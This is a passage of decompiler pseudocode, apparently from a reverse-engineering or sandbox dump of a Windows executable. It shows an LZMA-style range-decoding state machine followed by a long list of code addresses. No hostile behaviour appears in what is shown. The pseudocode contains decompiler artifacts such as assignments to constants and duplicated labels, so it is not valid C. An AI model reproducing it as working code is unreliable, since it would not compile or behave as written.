													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406ffe
0x00406ffe
0x00407002
0x00407023
0x0040702a
0x00407030
0x00407036
0x00407048
0x0040704e
0x00407053
0x00000000
0x00407004
0x0040700a
0x004073cb
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
